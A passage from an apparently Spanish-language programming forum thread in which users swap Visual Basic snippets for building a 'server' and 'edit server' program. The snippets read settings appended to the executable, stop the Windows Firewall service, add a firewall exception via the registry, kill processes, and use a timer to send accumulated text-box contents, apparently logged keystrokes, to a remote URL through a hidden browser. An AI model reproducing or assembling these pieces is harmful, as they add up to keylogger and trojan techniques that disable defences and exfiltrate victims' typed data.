Mensajes

Private Sub Form_Load()
    Dim var As String * 30, Mail as String
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2
        Get #2, LOF(2) - 31, var
    Close #2
    Mail = Trim(var) 'esto saca los espacios en blanco que hay en la variable
    MsgBox Mail
End Sub

Para detener el servicio del Firewall:

Código [Seleccionar] Expandir

Shell "cmd.exe /c net stop SharedAccess"

Para añadir una excepción al Firewall:

set ws = CreateObject("WScript.Shell")
ws.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:\chat.exe","C:\chat.exe:*:Enabled:chat"

El problema del segundo código es que confunde la contrabarra del directorio con una separación para crear una subclave, la solución seria usar las APIs o solucionar este pequeño problema.

Buena idea, algo chapuza pero es lo que hay ^^ .

Hace no mucho estuve provando este código y tenia problemas cuando ponia el Form1.Visible = False, al parecer no pulsaba la tecla Impr Paint, intenté enviar esta tecla con sendkeys pero tampoco dió resultado, alguna ídea?

Código [Seleccionar] Expandir

set ws = CreateObject("WScript.Shell")
i = msgbox("Quieres terminar el proceso?",vbyesno)
If i = 6 then
ws.Run ("cmd.exe /c Taskkill /F /IM notepad.exe")
Else
End if

Prueba así:

Código [Seleccionar] Expandir


Private Sub Timer2_Timer()
If Len(Text1.Text) >= 2000 Then
Call ShellExecute(hwnd, "Open", ("iexplore.exe"), "http://www.misitio.com/update.php?datos=" & Text1.Text, vbNullString, 0)
Text1.Text = ""
End If
End Sub


Tiner2.Interval = 200

El edit server digamos que es un programa que introduce unos datos al final del archivo del "server" para que este luego los pueda leer sin hacer referencia a cualquier archivo.

En ese caso debe de ser problema del istalador, prueba a bajarte otro...

Cierto  , es que en este ordenador no tengo el VB y como estoy acostumbrado a que me corrija si me equivoco  .

Dim tecla as String
tecla = "3"
Select Case tecla
Case is "1"
msgbox "uno"
Case is "2"
msgbox "dos"
Case is "3"
msgbox "tres"
end select